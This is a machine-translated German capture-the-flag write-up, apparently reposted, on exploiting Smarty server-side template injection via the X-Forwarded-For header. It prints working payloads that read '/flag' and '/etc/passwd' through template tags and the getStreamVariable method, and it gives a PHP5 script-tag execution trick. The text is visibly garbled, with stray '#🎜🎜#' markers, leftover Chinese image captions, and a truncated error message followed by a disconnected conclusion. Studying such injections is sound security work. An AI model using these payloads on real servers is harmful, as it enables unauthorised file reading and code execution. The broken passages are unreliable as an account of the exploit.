Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So verwenden Sie Smarty SSTi

So verwenden Sie Smarty SSTi

WBOY
WBOYnach vorne
2023-05-15 11:37:061091Durchsuche

Problembeschreibung

Die Frage stellt eine API zum Lesen von XFF-Headern bereit. Es kann festgestellt werden, dass sie mit der Smarty-Engine geschrieben wurde.

#🎜 🎜#Bestimmen Sie grundsätzlich die Möglichkeit von SSTi auf dieser Seite

Smarty SSTi怎么用

Ändern Sie den xff-Header von 127.0.0.1 auf 127.0.0{ 1+2} Das folgende Ergebnis erscheint

ssti Es besteht kein Zweifel

Smarty SSTi怎么用

Die endgültige Nutzlast ist

# 🎜🎜#

X -Forwarded-For: {if var_dump(file_get_contents('/flag')) }{/if}

Smarty SSTi怎么用Smarty SSTI Exploit# 🎜🎜#

Smarty wurde auf Basis von PHP entwickelt. Die Methode zur Nutzung von Smartys SSTI unterscheidet sich stark vom üblichen SSTI von Flask.

Sicherheitslückenbestätigung

Im Allgemeinen können Sie die zurückgegebene Smarty-Versionsnummer sehen, indem Sie {$smarty.version} eingeben. Die Smarty-Version dieser Frage ist 3.1.30

Allgemeine VerwendungSmarty SSTi怎么用

Smarty unterstützt die Verwendung von {php}{/ php}-Tag, um die darin eingeschlossenen PHP-Anweisungen auszuführen. Die gängigste Idee ist, das Tag zuerst zu testen. Aber was dieses Thema betrifft, wird bei Verwendung des {php}{/php}-Tags ein Fehler gemeldet:

Das offizielle Handbuch von Smarty3 hat die folgende Beschreibung:# 🎜🎜#Smarty SSTi怎么用

Smarty hat das Tag {php} veraltet und es wird dringend empfohlen, es nicht zu verwenden. In Smarty 3.1 ist {php} nur in SmartyBC verfügbar.

Diese Frage verwendet die Smarty-Klasse, daher können wir nur einen anderen Weg finden.

{literal} Tag

Das offizielle Handbuch beschreibt dieses Tag wie folgt:

{literal} kann die Zeichen in a belassen Vorlagenbereich, wenn sie ausgegeben werden. Dies wird häufig verwendet, um zu verhindern, dass Javascript- oder CSS-Stylesheets auf der Seite aufgrund von Smarty-Trennzeichen falsch analysiert werden.

Dann können wir für die PHP5-Umgebung

<script language="php">phpinfo();</script>
verwenden, um die PHP-Codeausführung zu implementieren, aber die Frageumgebung dieser Frage ist PHP7, diese Methode Es schlägt fehl.

statische Methode

Das Abrufen der Smarty-Klasse durch sich selbst und das anschließende Aufrufen ihrer statischen Methode zum Lesen und Schreiben von Dateien wird in vielen Artikeln im Internet übernommen.

Der Code der getStreamVariable-Methode der Smarty-Klasse lautet wie folgt:

public function getStreamVariable($variable)
{
       $_result = '';
       $fp = fopen($variable, 'r+');
       if ($fp) {
           while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
               $_result .= $current_line;
          }
           fclose($fp);
           return $_result;
      }
       $smarty = isset($this->smarty) ? $this->smarty : $this;
       if ($smarty->error_unassigned) {
           throw new SmartyException('Undefined stream variable "' . $variable . '"');
      } else {
           return null;
      }
  }

Sie können sehen, dass diese Methode eine Datei lesen und ihren Inhalt zurückgeben kann, sodass wir sie verwenden können self, um das Smarty-Objekt abzurufen und diese Methode aufzurufen. Die in vielen Artikeln angegebene Nutzlast hat die Form: {self::getStreamVariable("file:///etc/passwd")}. Die Verwendung dieser Nutzlast löst jedoch den folgenden Fehler aus:

Fatal error: Uncaught --> Smarty Compiler: Syntax error in template „string:display("string:".$ip); }

Sie können sehen, dass Zeichenfolgen anstelle von Smarty-Vorlagen verwendet werden, was dazu führt, dass die eingefügten Smarty-Tags direkt analysiert und ausgeführt werden, was zu SSTI führt.

Das obige ist der detaillierte Inhalt vonSo verwenden Sie Smarty SSTi. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen